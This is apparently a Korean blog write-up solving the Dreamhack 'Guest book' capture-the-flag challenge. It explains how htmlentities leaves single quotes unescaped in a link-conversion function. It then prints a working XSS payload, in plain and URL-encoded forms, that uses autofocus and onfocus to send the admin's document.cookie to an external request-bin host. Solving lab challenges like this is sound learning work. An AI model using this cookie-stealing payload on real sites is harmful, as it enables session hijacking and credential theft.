[Dreamhack] Guest book
문제 설명
- php로 개발 중인 방명록 서비스입니다.
- 글을 쓰는 기능과, 오류가 발생하는 주소를 관리자가 확인할 수 있도록 하는 Report기능이 존재합니다.
- 플래그는 관리자의 쿠키에 포함되어 있습니다.
풀이
먼저 문제 페이지에 접속해보면 아래와 같이 글을 쓸 수 있는 기능인 GuestBook.php와 관리자 권한으로 접근할 수 있는 Report.php가 존재한다.
문제 소스 코드를 보면 GuestBook.php에 관한 소스 코드인 것을 알 수 있다. htmlentities
함수를 사용해 본문 내용을 필터링하고 []()
형태로 작성하면 a 태그로 치환되어 작성된다.
<?php
function addLink($content){
$content = htmlentities($content);
$content = preg_replace('/\[(.*?)\]\((.*?)\)/', "<a href='$2'>$1</a>", $content);
return $content;
}
?>
따라서 구글 사이트로 본문을 []()
형태로 작성해보면 구글 사이트로 잘 리다이렉트 되는 것을 확인할 수 있다.
이 문제는 학교 선배가 한 번 풀어보라고 하셔서 풀어봤는데 DOM Cloberring으로도 풀 수 있다고 했다. 그래서 인터넷에서 DOM Cloberring에 대해서 좀 찾아보고, 여기에서 DOM Cloberring 취약점이 나올 거라고 생각했다.
해당 페이지에서 config.js 코드를 살펴보면 마지막에 Object.freeze
라고 객체를 동결시켜 버려서 약간 애를 많이 먹다가 0.2 버전에서 DOM Cloberring으로 풀면 되기 때문에 이번 문제에서는 XSS로 풀기로 했다.
window.CONFIG = {
version: "v0.1",
main: "/",
debug: false,
debugMSG: ""
}
// prevent overwrite
Object.freeze(window.CONFIG);
문제소스 코드를 다시 보면 htmlentities
로 본문 내용을 필터링 하고 있는데 이 함수는 기본적으로 사용하면 '
, =
, +
, ()
[]
, !
등등 필터링에 걸리지 않는 특수문자들이 조금 있기 때문에 javascript 스키마를 사용해서 문제를 풀 수 있다.
<?php
function addLink($content){
$content = htmlentities($content);
$content = preg_replace('/\[(.*?)\]\((.*?)\)/', "<a href='$2'>$1</a>", $content);
return $content;
}
?>
이 부분에서 시간이 조금 오래 걸렸는데 이유는 해당 관리자가 이 url을 접속했을 때 자동으로 a태그를 누르게끔 만들어야 하기 때문이다. 그래서 인터넷을 찾아보다 autofocus와 onfocus를 같이 사용해 해당 href 속성의 url로 이동되게끔 만들었다.
[xss](javascript:location=`https://ueemffv.request.dreamhack.games?cookie=`+document.cookie' id='autoClick' autofocus onfocus='location=this.href')
따라서 report 페이지에는 해당 content라는 파라미터 값에 위 페이로드를 url 인코딩을 수행해 넣어주면 관리자의 쿠키를 공격자의 서버로 보낼 수 있다. (GuestBook.php 앞에 있는 /
문자는 지워야 한다.)
GuestBook.php?content=%5Bxss%5D%28javascript%3Alocation%3D%60https%3A%2F%2Ffymhnew.request.dreamhack.games%3Fcookie%3D%60%2Bdocument.cookie%27%20id%3D%27autoClick%27%20autofocus%20onfocus%3D%27location%3Dthis.href%27%29
댓글남기기